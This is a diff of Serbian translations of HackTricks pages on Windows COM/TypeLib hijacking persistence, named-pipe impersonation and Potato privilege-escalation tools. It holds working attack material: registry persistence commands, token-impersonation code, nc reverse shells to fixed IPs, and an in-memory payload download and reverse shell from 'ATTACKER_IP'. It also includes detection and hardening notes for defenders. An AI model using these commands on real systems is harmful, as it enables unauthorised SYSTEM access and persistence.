src/windows-hardening/windows-local-privilege-escalation/com-hijacking.md

@@ -2,15 +2,15 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-### Pretraga nepostojećih COM komponenti
+### Traženje nepostojećih COM komponenti
 
-Pošto korisnici mogu menjati vrednosti HKCU, **COM Hijacking** može biti iskorišćen kao **mehanizam za perzistenciju**. Koristeći `procmon` lako je pronaći tražene COM registries koje ne postoje, a koje napadač može kreirati da bi ostvario perzistenciju. Filteri:
+Pošto vrednosti HKCU mogu biti izmenjene od strane korisnika, **COM Hijacking** se može koristiti kao **trajni mehanizam**. Korišćenjem `procmon` lako je pronaći pretraživane COM registry zapise koji ne postoje, a koje napadač može kreirati da bi ostvario perzistenciju. Filteri:
 
 - **RegOpenKey** operacije.
 - gde je _Result_ **NAME NOT FOUND**.
-- i da _Path_ završava sa **InprocServer32**.
+- i _Path_ se završava sa **InprocServer32**.
 
-Kada odlučite koji nepostojeći COM ćete oponašati, izvršite sledeće komande. _Budite pažljivi ako odlučite da oponašate COM koji se učitava svakih nekoliko sekundi, jer to može biti previše._
+Kada odlučite koji nepostojeći COM želite da imitirate, izvršite sledeće komande. _Budite oprezni ako odlučite da imitirate COM koji se učitava na svakih nekoliko sekundi, jer to može biti preterano._
 ```bash
 New-Item -Path "HKCU:Software\Classes\CLSID" -Name "{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}"
 New-Item -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}" -Name "InprocServer32" -Value "C:\beacon.dll"
@@ -18,7 +18,7 @@ New-ItemProperty -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F
 ```
 ### Hijackable Task Scheduler COM components
 
-Windows Tasks koriste Custom Triggers za pozivanje COM objects, i pošto se izvršavaju preko Task Scheduler-a, lakše je predvideti kada će biti pokrenuti.
+Windows Tasks koriste Custom Triggers za pozivanje COM objekata, i pošto se izvršavaju preko Task Scheduler-a, lakše je predvideti kada će biti pokrenuti.
 
 <pre class="language-powershell"><code class="lang-powershell"># Show COM CLSIDs
 $Tasks = Get-ScheduledTask
@@ -49,9 +49,9 @@ Write-Host
 # CLSID:  {1936ED8A-BD93-3213-E325-F38D112938E1}
 # [more like the previous one...]</code></pre>
 
-Proverom izlaza možete izabrati onaj koji će, na primer, biti izvršen **svaki put kada se korisnik prijavi**.
+Proverom izlaza možete, na primer, odabrati onaj koji će se izvršavati **svaki put kada se korisnik prijavi**.
 
-Sada, pretražujući CLSID **{1936ED8A-BD93-3213-E325-F38D112938EF}** u **HKEY\CLASSES\ROOT\CLSID** i u HKLM i HKCU, obično ćete utvrditi da vrednost ne postoji u HKCU.
+Ako sada potražite CLSID **{1936ED8A-BD93-3213-E325-F38D112938EF}** u **HKEY\CLASSES\ROOT\CLSID** i u HKLM i HKCU, obično ćete otkriti da ta vrednost ne postoji u HKCU.
 ```bash
 # Exists in HKCR\CLSID\
 Get-ChildItem -Path "Registry::HKCR\CLSID\{1936ED8A-BD93-3213-E325-F38D112938EF}"
@@ -72,32 +72,32 @@ Name                                   Property
 PS C:\> Get-Item -Path "HKCU:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}"
 Get-Item : Cannot find path 'HKCU:\Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}' because it does not exist.
 ```
-Zatim možete jednostavno kreirati HKCU unos i svaki put kada se korisnik prijavi, vaš backdoor će biti pokrenut.
+Zatim možete jednostavno napraviti HKCU unos i svaki put kada se korisnik prijavi, vaš backdoor će biti pokrenut.
 
 ---
 
 ## COM TypeLib Hijacking (script: moniker persistence)
 
-Type Libraries (TypeLib) definišu COM interfejse i učitavaju se preko `LoadTypeLib()`. Kada se COM server instancira, OS može učitati i pridruženi TypeLib konsultujući registry ključeve pod `HKCR\TypeLib\{LIBID}`. Ako se putanja TypeLib-a zameni sa **moniker**, npr. `script:C:\...\evil.sct`, Windows će izvršiti scriptlet kada se TypeLib razreši — što rezultira stealthy persistence koja se aktivira kada se dodirnu uobičajene komponente.
+Type Libraries (TypeLib) definišu COM interfejse i učitavaju se preko `LoadTypeLib()`. Kada se COM server instancira, OS može takođe učitati povezani TypeLib konsultujući registry ključeve pod `HKCR\TypeLib\{LIBID}`. Ako je TypeLib putanja zamenjena sa **moniker**, npr. `script:C:\...\evil.sct`, Windows će izvršiti scriptlet kada se TypeLib razreši – što dovodi do stealthy persistence koja se aktivira kada su uobičajene komponente dodirnute.
 
-Ovo je primećeno protiv Microsoft Web Browser control (često učitavan od Internet Explorer, aplikacija koje ugrađuju WebBrowser, pa čak i `explorer.exe`).
+Ovo je primećeno protiv the Microsoft Web Browser control (često učitavanog od strane Internet Explorer, aplikacija koje ugrađuju WebBrowser, pa čak i `explorer.exe`).
 
 ### Koraci (PowerShell)
 
-1) Pronađite TypeLib (LIBID) koji koristi CLSID koji se često pojavljuje. Primer CLSID koji malware chains često zloupotrebljavaju: `{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}`
+1) Identifikujte TypeLib (LIBID) koji koristi CLSID visoke frekvencije. Primer CLSID koji često zloupotrebljavaju malware chains: `{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}` (Microsoft Web Browser).
 ```powershell
 $clsid = '{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}'
 $libid = (Get-ItemProperty -Path "Registry::HKCR\\CLSID\\$clsid\\TypeLib").'(default)'
 $ver   = (Get-ChildItem "Registry::HKCR\\TypeLib\\$libid" | Select-Object -First 1).PSChildName
 "CLSID=$clsid  LIBID=$libid  VER=$ver"
 ```
-2) Усмерите per-user TypeLib путању на локални scriptlet користећи `script:` moniker (нису потребна администраторска права):
+2) Usmerite per-user TypeLib putanju na lokalni scriptlet koristeći `script:` moniker (nije potrebna admin prava):
 ```powershell
 $dest = 'C:\\ProgramData\\Udate_Srv.sct'
 New-Item -Path "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver\\0\\win32" -Force | Out-Null
 Set-ItemProperty -Path "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver\\0\\win32" -Name '(default)' -Value "script:$dest"
 ```
-3) Postavite minimalni JScript `.sct` koji ponovo pokreće vaš primarni payload (npr. `.lnk` koji se koristi u početnom lancu):
+3) Postavite minimalni JScript `.sct` koji ponovo pokreće vaš primarni payload (npr. `.lnk` koji je korišćen u inicijalnom lancu):
 ```xml
 <?xml version="1.0"?>
 <scriptlet>
@@ -114,7 +114,7 @@ sh.Run(cmd, 0, false);
 </script>
 </scriptlet>
 ```
-4) Aktiviranje – otvaranjem IE, aplikacije koja ugrađuje WebBrowser control, ili čak rutinskom aktivnošću Explorera učitaće se TypeLib i izvršiće se scriptlet, ponovo naoružavajući vaš lanac prilikom prijave/ponovnog pokretanja.
+4) Pokretanje – otvaranje IE, aplikacije koja ugrađuje WebBrowser control, ili čak rutinska aktivnost Explorer-a će učitati TypeLib i izvršiti scriptlet, ponovo aktivirajući vaš lanac pri logon/reboot.
 
 Čišćenje
 ```powershell
@@ -124,10 +124,10 @@ Remove-Item -Recurse -Force "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver" 2>$n
 Remove-Item -Force 'C:\\ProgramData\\Udate_Srv.sct' 2>$null
 ```
 Napomene
-- Istu logiku možete primeniti na druge često korišćene COM komponente; uvek prvo odredite stvarni `LIBID` iz `HKCR\CLSID\{CLSID}\TypeLib`.
-- Na 64-bitnim sistemima možete takođe popuniti podključ `win64` za 64-bitne aplikacije.
+- Istu logiku možete primeniti na druge COM komponente koje se često koriste; uvek prvo razrešite stvarni `LIBID` iz `HKCR\CLSID\{CLSID}\TypeLib`.
+- Na 64-bit sistemima takođe možete popuniti `win64` podključ za 64-bit potrošače.
 
-## Reference
+## References
 
 - [Hijack the TypeLib – New COM persistence technique (CICADA8)](https://cicada-8.medium.com/hijack-the-typelib-new-com-persistence-technique-32ae1d284661)
 - [Check Point Research – ZipLine Campaign: A Sophisticated Phishing Attack Targeting US Companies](https://research.checkpoint.com/2025/zipline-phishing-campaign/)

src/windows-hardening/windows-local-privilege-escalation/named-pipe-client-impersonation.md

@@ -2,27 +2,27 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-Named Pipe client impersonation je lokalni primitive za eskalaciju privilegija koji omogućava delu server niti named-pipe-a da prihvati sigurnosni kontekst klijenta koji se poveže na njega. U praksi, napadač koji može da izvršava kod sa SeImpersonatePrivilege može prinuditi privilegovani klijent (npr. SYSTEM service) da se poveže na pipe koji kontroliše napadač, pozove ImpersonateNamedPipeClient, duplicira dobijeni token u primary token i pokrene proces kao taj klijent (često NT AUTHORITY\SYSTEM).
+Named Pipe client impersonation je primitiv za lokalno eskaliranje privilegija koji omogućava named-pipe server threadu da usvoji sigurnosni kontekst klijenta koji se poveže na njega. U praksi, napadač koji može da izvrši kod sa SeImpersonatePrivilege može da natera privilegovani klijent (npr. SYSTEM servis) da se poveže na pipe pod kontrolom napadača, pozove ImpersonateNamedPipeClient, duplicate-uje dobijeni token u primary token i pokrene proces kao taj klijent (često NT AUTHORITY\SYSTEM).
 
-Ova stranica se fokusira na samu tehniku. Za end-to-end exploit lancеve koji primoravaju SYSTEM da se poveže na vaš pipe, pogledajte Potato family stranice referencirane ispod.
+Ova stranica se fokusira na osnovnu tehniku. Za end-to-end exploit lanće koji prisiljavaju SYSTEM da se poveže na vaš pipe, pogledajte Potato family stranice navedene dalje.
 
 ## TL;DR
-- Kreirajte named pipe: \\.\pipe\<random> i čekajte konekciju.
-- Naterajte privilegovanu komponentu da se poveže na njega (spooler/DCOM/EFSRPC/etc.).
+- Kreirajte named pipe: \\.\pipe\<random> i sačekajte konekciju.
+- Naterajte privilegovanu komponentu da se poveže na njega (spooler/DCOM/EFSRPC/itd.).
 - Pročitajte bar jednu poruku iz pipe-a, pa pozovite ImpersonateNamedPipeClient.
-- Otvorite impersonation token iz tekućeg threada, DuplicateTokenEx(TokenPrimary) i CreateProcessWithTokenW/CreateProcessAsUser da dobijete SYSTEM proces.
+- Otvorite impersonation token sa trenutnog threada, DuplicateTokenEx(TokenPrimary) i koristite CreateProcessWithTokenW/CreateProcessAsUser da dobijete SYSTEM proces.
 
 ## Requirements and key APIs
-- Privileges koje obično treba imati pozivajući proces/thread:
-- SeImpersonatePrivilege da uspešno impersonirate konektovanog klijenta i da koristite CreateProcessWithTokenW.
-- Alternativno, nakon impersoniranja SYSTEM-a, možete koristiti CreateProcessAsUser, što može zahtevati SeAssignPrimaryTokenPrivilege i SeIncreaseQuotaPrivilege (ovo je zadovoljeno dok impersonirate SYSTEM).
+- Privileges koji su obično potrebni procesu/threadu koji poziva:
+- SeImpersonatePrivilege da biste uspešno impersonirali povezani klijent i da biste koristili CreateProcessWithTokenW.
+- Alternativno, nakon impersonacije SYSTEM-a možete koristiti CreateProcessAsUser, što može zahtevati SeAssignPrimaryTokenPrivilege i SeIncreaseQuotaPrivilege (ovo je zadovoljeno kada impersonirate SYSTEM).
 - Core APIs koji se koriste:
 - CreateNamedPipe / ConnectNamedPipe
-- ReadFile/WriteFile (mora se pročitati bar jedna poruka pre impersonacije)
+- ReadFile/WriteFile (neophodno je pročitati najmanje jednu poruku pre impersonacije)
 - ImpersonateNamedPipeClient i RevertToSelf
 - OpenThreadToken, DuplicateTokenEx(TokenPrimary)
-- CreateProcessWithTokenW ili CreateProcessAsUser
-- Imersonation level: da biste izveli korisne akcije lokalno, klijent mora dozvoliti SecurityImpersonation (podrazumevano za mnoge lokalne RPC/named-pipe klijente). Klijenti mogu smanjiti ovo korišćenjem SECURITY_SQOS_PRESENT | SECURITY_IDENTIFICATION pri otvaranju pipe-a.
+- CreateProcessWithTokenW or CreateProcessAsUser
+- Impersonation level: da biste izvršavali korisne akcije lokalno, klijent mora dozvoliti SecurityImpersonation (podrazumevano za mnoge lokalne RPC/named-pipe klijente). Klijenti mogu smanjiti ovo korišćenjem SECURITY_SQOS_PRESENT | SECURITY_IDENTIFICATION pri otvaranju pipe-a.
 
 ## Minimal Win32 workflow (C)
 ```c
@@ -69,11 +69,11 @@ return 0;
 }
 ```
 Napomene:
-- Ako ImpersonateNamedPipeClient vrati ERROR_CANNOT_IMPERSONATE (1368), pobrinite se da najpre pročitate iz pipe i da klijent nije ograničio impersonaciju na Identification level.
-- Preferirajte DuplicateTokenEx sa SecurityImpersonation i TokenPrimary da biste kreirali primary token pogodan za pokretanje procesa.
+- Ako ImpersonateNamedPipeClient vrati ERROR_CANNOT_IMPERSONATE (1368), obavezno prvo pročitajte iz pipe-a i proverite da klijent nije ograničio impersonation na Identification level.
+- Preporučuje se korišćenje DuplicateTokenEx sa SecurityImpersonation i TokenPrimary da biste kreirali primary token pogodan za kreiranje procesa.
 
-## .NET kratak primer
-U .NET-u, NamedPipeServerStream može da impersonira preko RunAsClient. Kada impersonirate, duplicirajte thread token i kreirajte proces.
+## .NET brzi primer
+U .NET-u, NamedPipeServerStream može da izvrši impersonation preko RunAsClient. Kada je u impersonation kontekstu, duplicirajte thread token i kreirajte proces.
 ```csharp
 using System; using System.IO.Pipes; using System.Runtime.InteropServices; using System.Diagnostics;
 class P {
@@ -93,13 +93,13 @@ Process pi; CreateProcessWithTokenW(p, 2, null, null, 0, IntPtr.Zero, null, ref
 }
 }
 ```
-## Uobičajeni okidači/prisiljavanja da dovedete SYSTEM do vašeg named pipe
-Ove tehnike prouzrokuju da privilegovani servisi uspostave konekciju na vaš named pipe tako da možete da ih impersonirate:
+## Uobičajeni okidači/prisiljavanja da SYSTEM dođe do vašeg named pipe-a
+Ove tehnike prisiljavaju privilegovane servise da se povežu na vaš named pipe tako da možete da preuzmete njihov identitet:
 - Print Spooler RPC trigger (PrintSpoofer)
 - DCOM activation/NTLM reflection variants (RoguePotato/JuicyPotato[NG], GodPotato)
 - EFSRPC pipes (EfsPotato/SharpEfsPotato)
 
-Pogledajte detaljnu upotrebu i kompatibilnost ovde:
+Pogledajte detaljno korišćenje i kompatibilnost ovde:
 
 -
 {{#ref}}
@@ -110,7 +110,7 @@ roguepotato-and-printspoofer.md
 juicypotato.md
 {{#endref}}
 
-Ako vam treba kompletan primer kreiranja pipe-a i impersonacije da spawn-ujete SYSTEM iz service okidača, pogledajte:
+Ako vam treba kompletan primer kreiranja pipe-a i preuzimanja impersonacije da pokrenete proces kao SYSTEM iz okidača servisa, pogledajte:
 
 -
 {{#ref}}
@@ -119,18 +119,18 @@ from-high-integrity-to-system-with-name-pipes.md
 
 ## Otklanjanje problema i zamke
 - Morate pročitati bar jednu poruku iz pipe-a pre poziva ImpersonateNamedPipeClient; inače ćete dobiti ERROR_CANNOT_IMPERSONATE (1368).
-- Ako se klijent poveže koristeći SECURITY_SQOS_PRESENT | SECURITY_IDENTIFICATION, server ne može u potpunosti impersonirati; proverite nivo impersonacije tokena preko GetTokenInformation(TokenImpersonationLevel).
-- CreateProcessWithTokenW zahteva SeImpersonatePrivilege na pozivaocu. Ako to padne sa ERROR_PRIVILEGE_NOT_HELD (1314), koristite CreateProcessAsUser nakon što ste već impersonirali SYSTEM.
-- Obezbedite da security descriptor vašeg pipe-a dozvoljava ciljnom servisu da se poveže ako ga učvrstite; podrazumevano su pipe-ovi pod \\.\pipe dostupni u skladu sa DACL servera.
+- Ako se klijent poveže sa SECURITY_SQOS_PRESENT | SECURITY_IDENTIFICATION, server ne može u potpunosti da impersonira; proverite nivo impersonacije tokena pomoću GetTokenInformation(TokenImpersonationLevel).
+- CreateProcessWithTokenW zahteva SeImpersonatePrivilege na pozivaocu. Ako to ne uspe sa ERROR_PRIVILEGE_NOT_HELD (1314), koristite CreateProcessAsUser nakon što ste već impersonirali SYSTEM.
+- Obezbedite da security descriptor vašeg pipe-a dozvoljava ciljnom servisu da se poveže ako ga dodatno ojačate; po defaultu, pipe-ovi pod \\.\pipe su dostupni u skladu sa serverovim DACL.
 
-## Detekcija i hardening
-- Pratite kreiranje i konekcije named pipe-ova. Sysmon Event IDs 17 (Pipe Created) i 18 (Pipe Connected) su korisni za baseline legitimnih imena pipe-ova i detekciju neuobičajenih, nasumičnih pipe-ova koji prethode token-manipulation events.
-- Tražite sekvence: proces kreira pipe, SYSTEM servis se poveže, zatim proces koji je kreirao spawn-uje child kao SYSTEM.
-- Smanjite izloženost uklanjanjem SeImpersonatePrivilege sa nebitnih servisnih naloga i izbegavanjem nepotrebnih service logon-ova sa visokim privilegijama.
-- Defensive development: pri povezivanju na nepoverljive named pipe-ove, navedite SECURITY_SQOS_PRESENT sa SECURITY_IDENTIFICATION da sprečite servere da u potpunosti impersoniraju klijenta osim ako nije neophodno.
+## Detekcija i ojačavanje
+- Pratite kreiranje i konekcije named pipe-ova. Sysmon Event IDs 17 (Pipe Created) i 18 (Pipe Connected) su korisni za uspostavljanje referentne linije legitimnih imena pipe-ova i otkrivanje neobičnih, nasumičnih pipe-ova koji prethode događajima manipulacije tokenom.
+- Pratite sekvence: proces kreira pipe, SYSTEM servis se povezuje, zatim proces koji je kreirao pipe pokreće potomka kao SYSTEM.
+- Smanjite izloženost uklanjanjem SeImpersonatePrivilege sa nebitnih servisnih naloga i izbegavanjem nepotrebnih logovanja servisa sa visokim privilegijama.
+- Defanzivni razvoj: pri povezivanju na nepouzdane named pipe-ove, navedite SECURITY_SQOS_PRESENT sa SECURITY_IDENTIFICATION da biste sprečili servere da u potpunosti impersoniraju klijenta osim ako nije neophodno.
 
-## References
-- Windows: ImpersonateNamedPipeClient dokumentacija (zahtevi i ponašanje impersonacije). https://learn.microsoft.com/en-us/windows/win32/api/namedpipeapi/nf-namedpipeapi-impersonatenamedpipeclient
+## Reference
+- Windows: ImpersonateNamedPipeClient dokumentacija (zahtevi za impersonaciju i ponašanje). https://learn.microsoft.com/en-us/windows/win32/api/namedpipeapi/nf-namedpipeapi-impersonatenamedpipeclient
 - ired.team: Windows named pipes privilege escalation (uputstvo i primeri koda). https://ired.team/offensive-security/privilege-escalation/windows-namedpipes-privilege-escalation
 
 {{#include ../../banners/hacktricks-training.md}}

src/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md

@@ -3,10 +3,10 @@
 {{#include ../../banners/hacktricks-training.md}}
 
 > [!WARNING]
-> **JuicyPotato doesn't work** na Windows Server 2019 i Windows 10 build 1809 i novijim. Međutim, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)**,** [**GodPotato**](https://github.com/BeichenDream/GodPotato)**,** [**EfsPotato**](https://github.com/zcgonvh/EfsPotato)**,** [**DCOMPotato**](https://github.com/zcgonvh/DCOMPotato)** mogu se koristiti da **iskoriste iste privilegije i dobiju pristup na nivou `NT AUTHORITY\SYSTEM`**. Ovaj [blog post](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/) detaljno objašnjava alat `PrintSpoofer`, koji se može koristiti za zloupotrebu impersonation privilegija na Windows 10 i Server 2019 hostovima gde JuicyPotato više ne radi.
+> **JuicyPotato doesn't work** on Windows Server 2019 and Windows 10 build 1809 onwards. However, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)**,** [**GodPotato**](https://github.com/BeichenDream/GodPotato)**,** [**EfsPotato**](https://github.com/zcgonvh/EfsPotato)**,** [**DCOMPotato**](https://github.com/zcgonvh/DCOMPotato)** can be used to **leverage the same privileges and gain `NT AUTHORITY\SYSTEM`** level access. This [blog post](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/) detaljno objašnjava `PrintSpoofer` alat, koji se može koristiti za zloupotrebu privilegija impersonacije na Windows 10 i Server 2019 hostovima gde JuicyPotato više ne radi.
 
 > [!TIP]
-> Moderna alternativa, često održavana u 2024–2025, je SigmaPotato (fork GodPotato) koja dodaje upotrebu in-memory/.NET reflection i proširenu podršku za OS. Pogledajte brzu upotrebu ispod i repo u odeljku References.
+> Moderan alternativ koji se često održava u 2024–2025 je SigmaPotato (fork GodPotato) koji dodaje upotrebu in-memory/.NET reflection i proširenu podršku za OS. Vidi brzu upotrebu dole i repozitorijum u referencama.
 
 Related pages for background and manual techniques:
 
@@ -22,25 +22,25 @@ from-high-integrity-to-system-with-name-pipes.md
 privilege-escalation-abusing-tokens.md
 {{#endref}}
 
-## Zahtevi i uobičajene zamke
+## Zahtevi i česti problemi
 
-Sve sledeće tehnike se oslanjaju na zloupotrebu privilegovanog servisa koji podržava impersonation iz konteksta koji poseduje jednu od sledećih privilegija:
+Sve sledeće tehnike zasnivaju se na zloupotrebi privilegisanog servisa koji može da izvrši impersonaciju, iz konteksta koji ima jednu od sledećih privilegija:
 
-- SeImpersonatePrivilege (najčešći) ili SeAssignPrimaryTokenPrivilege
-- Povišen nivo integriteta nije potreban ako token već ima SeImpersonatePrivilege (tipično za mnoge servisne naloge kao što su IIS AppPool, MSSQL, itd.)
+- SeImpersonatePrivilege (najčešća) ili SeAssignPrimaryTokenPrivilege
+- Visok integritet nije potreban ako token već ima SeImpersonatePrivilege (tipično za mnoge servisne naloge kao što su IIS AppPool, MSSQL, itd.)
 
-Brzo proverite privilegije:
+Brza provera privilegija:
 ```cmd
 whoami /priv | findstr /i impersonate
 ```
 Operativne napomene:
 
-- PrintSpoofer zahteva da je servis Print Spooler pokrenut i dostupan preko lokalne RPC krajnje tačke (spoolss). U ojačanim okruženjima gde je Spooler onemogućen nakon PrintNightmare, preferirajte RoguePotato/GodPotato/DCOMPotato/EfsPotato.
-- RoguePotato zahteva OXID resolver dostupan na TCP/135. Ako je izlazni saobraćaj (egress) blokiran, koristite redirector/port-forwarder (vidi primer ispod). Starije verzije su zahtevale -f flag.
-- EfsPotato/SharpEfsPotato zloupotrebljavaju MS-EFSR; ako je jedan pipe blokiran, probajte alternativne pipe-ove (lsarpc, efsrpc, samr, lsass, netlogon).
-- Greška 0x6d3 tokom RpcBindingSetAuthInfo obično ukazuje na nepoznatu/nepodržanu RPC autentikacionu uslugu; probajte drugi pipe/transport ili se uverite da je ciljna usluga pokrenuta.
+- PrintSpoofer zahteva da Print Spooler service radi i bude dostupan preko lokalnog RPC endpoint-a (spoolss). U ojačanim sredinama gde je Spooler onemogućen nakon PrintNightmare, preferirajte RoguePotato/GodPotato/DCOMPotato/EfsPotato.
+- RoguePotato zahteva OXID resolver dostupan na TCP/135. Ako je egress blokiran, koristite redirector/port-forwarder (see example below). Starije build-ove je trebalo pokretati sa -f flag.
+- EfsPotato/SharpEfsPotato iskorišćavaju MS-EFSR; ako je jedan pipe blokiran, probajte alternativne pipe (lsarpc, efsrpc, samr, lsass, netlogon).
+- Error 0x6d3 tokom RpcBindingSetAuthInfo obično ukazuje na nepoznat/unsupported RPC authentication service; pokušajte drugi pipe/transport ili osigurajte da ciljna usluga radi.
 
-## Quick Demo
+## Brzi demo
 
 ### PrintSpoofer
 ```bash
@@ -58,8 +58,8 @@ NULL
 
 ```
 Napomene:
-- Možete koristiti -i da pokrenete interaktivni proces u tekućoj konzoli, ili -c da pokrenete one-liner.
-- Zahteva Spooler service. Ako je onemogućen, ovo neće uspeti.
+- Možete koristiti -i da pokrenete interaktivni proces u trenutnoj konzoli, ili -c da izvršite jednolinijsku komandu.
+- Zahteva Spooler servis. Ako je onemogućen, ovo neće uspeti.
 
 ### RoguePotato
 ```bash
@@ -67,7 +67,7 @@ c:\RoguePotato.exe -r 10.10.10.10 -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd" -l
 # In some old versions you need to use the "-f" param
 c:\RoguePotato.exe -r 10.10.10.10 -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd" -f 9999
 ```
-Ako je outbound 135 blokiran, pivot OXID resolver preko socat na vašem redirectoru:
+Ako je outbound 135 blokiran, pivot-ujte OXID resolver preko socat na svom redirectoru:
 ```bash
 # On attacker redirector (must listen on TCP/135 and forward to victim:9999)
 socat tcp-listen:135,reuseaddr,fork tcp:VICTIM_IP:9999
@@ -111,7 +111,7 @@ CVE-2021-36942 patch bypass (EfsRpcEncryptFileSrv method) + alternative pipes su
 
 nt authority\system
 ```
-Savet: Ako jedan pipe zakaže ili ga EDR blokira, pokušajte ostale podržane pipes:
+Savet: Ako jedan pipe zakaže ili EDR ga blokira, pokušajte sa drugim podržanim pipe-ovima:
 ```text
 EfsPotato <cmd> [pipe]
 pipe -> lsarpc|efsrpc|samr|lsass|netlogon (default=lsarpc)
@@ -123,13 +123,13 @@ pipe -> lsarpc|efsrpc|samr|lsass|netlogon (default=lsarpc)
 > GodPotato -cmd "nc -t -e C:\Windows\System32\cmd.exe 192.168.1.102 2012"
 ```
 Napomene:
-- Radi na Windows 8/8.1–11 i Server 2012–2022 kada je prisutan SeImpersonatePrivilege.
+- Radi na Windows 8/8.1–11 i Server 2012–2022 kada je prisutno SeImpersonatePrivilege.
 
 ### DCOMPotato
 
 ![image](https://github.com/user-attachments/assets/a3153095-e298-4a4b-ab23-b55513b60caa)
 
-DCOMPotato pruža dve varijante koje ciljaju service DCOM objects koji su podrazumevano podešeni na RPC_C_IMP_LEVEL_IMPERSONATE. Sastavite ili koristite priložene binarne fajlove i pokrenite svoju naredbu:
+DCOMPotato nudi dve varijante koje ciljaju servisne DCOM objekte koji podrazumevano koriste RPC_C_IMP_LEVEL_IMPERSONATE. Kompajlirajte ili koristite priložene binarne fajlove i pokrenite svoju komandu:
 ```cmd
 # PrinterNotify variant
 PrinterNotifyPotato.exe "cmd /c whoami"
@@ -139,7 +139,7 @@ McpManagementPotato.exe "cmd /c whoami"
 ```
 ### SigmaPotato (ažurirani fork GodPotato)
 
-SigmaPotato dodaje moderne pogodnosti kao što su in-memory izvršavanje putem .NET reflection i PowerShell reverse shell helper.
+SigmaPotato dodaje moderne pogodnosti kao što su in-memory execution putem .NET reflection i PowerShell reverse shell helper.
 ```powershell
 # Load and execute from memory (no disk touch)
 [System.Reflection.Assembly]::Load((New-Object System.Net.WebClient).DownloadData("http://ATTACKER_IP/SigmaPotato.exe"))
@@ -148,13 +148,13 @@ SigmaPotato dodaje moderne pogodnosti kao što su in-memory izvršavanje putem .
 # Or ask it to spawn a PS reverse shell
 [SigmaPotato]::Main(@("--revshell","ATTACKER_IP","4444"))
 ```
-## Otkrivanje i mere za jačanje bezbednosti
+## Beleške o detekciji i ojačavanju
 
-- Pratite procese koji kreiraju named pipes i odmah pozivaju token-duplication APIs, nakon čega slede CreateProcessAsUser/CreateProcessWithTokenW. Sysmon može prikazati korisnu telemetriju: Event ID 1 (process creation), 17/18 (named pipe created/connected), i komandne linije koje pokreću podprocese kao SYSTEM.
-- Ojačavanje Spooler-a: Onemogućavanje Print Spooler servisa na serverima gde nije potreban sprečava lokalne zloupotrebe u stilu PrintSpoofer-a putem spoolss.
-- Ojačavanje naloga servisa: Smanjite dodeljivanje SeImpersonatePrivilege/SeAssignPrimaryTokenPrivilege prilagođenim servisima. Razmislite o pokretanju servisa pod virtualnim nalozima sa najmanjim potrebnim privilegijama i o izolovanju koristeći service SID i write-restricted tokens gde je moguće.
-- Mrežne kontrole: Blokiranje outbound TCP/135 ili ograničavanje RPC endpoint mapper saobraćaja može onemogućiti RoguePotato osim ako nije dostupan interni redirector.
-- EDR/AV: Svi ovi alati su široko prepoznatljivi po potpisima. Rekompajliranje iz izvornog koda, preimenovanje simbola/stringova ili korišćenje izvršavanja u memoriji može smanjiti detekciju, ali neće zaobići robusne detekcije zasnovane na ponašanju.
+- Pratite procese koji kreiraju named pipes i odmah pozivaju token-duplication APIs, a potom CreateProcessAsUser/CreateProcessWithTokenW. Sysmon može prikazati korisnu telemetriju: Event ID 1 (kreiranje procesa), 17/18 (named pipe kreiran/povezan) i komandne linije koje pokreću child procese kao SYSTEM.
+- Spooler hardening: Onemogućavanje Print Spooler servisa na serverima gde nije potreban sprečava PrintSpoofer-style lokalne eskalacije putem spoolss.
+- Service account hardening: Smanjite dodeljivanje SeImpersonatePrivilege/SeAssignPrimaryTokenPrivilege prilagođenim servisima. Razmotrite pokretanje servisa pod virtualnim nalozima sa najmanje potrebnih privilegija i njihovo izolovanje koristeći service SID i write-restricted tokene kad je to moguće.
+- Network controls: Blokiranje outbound TCP/135 ili ograničavanje RPC endpoint mapper saobraćaja može onemogućiti RoguePotato osim ako nije dostupan interni redirector.
+- EDR/AV: Svi ovi alati su široko detektovani po potpisima. Rekompajliranje iz izvornog koda, preimenovanje simbola/stringova ili izvođenje u memoriji može smanjiti detekciju, ali neće pobediti pouzdane detekcije zasnovane na ponašanju.
 
 ## References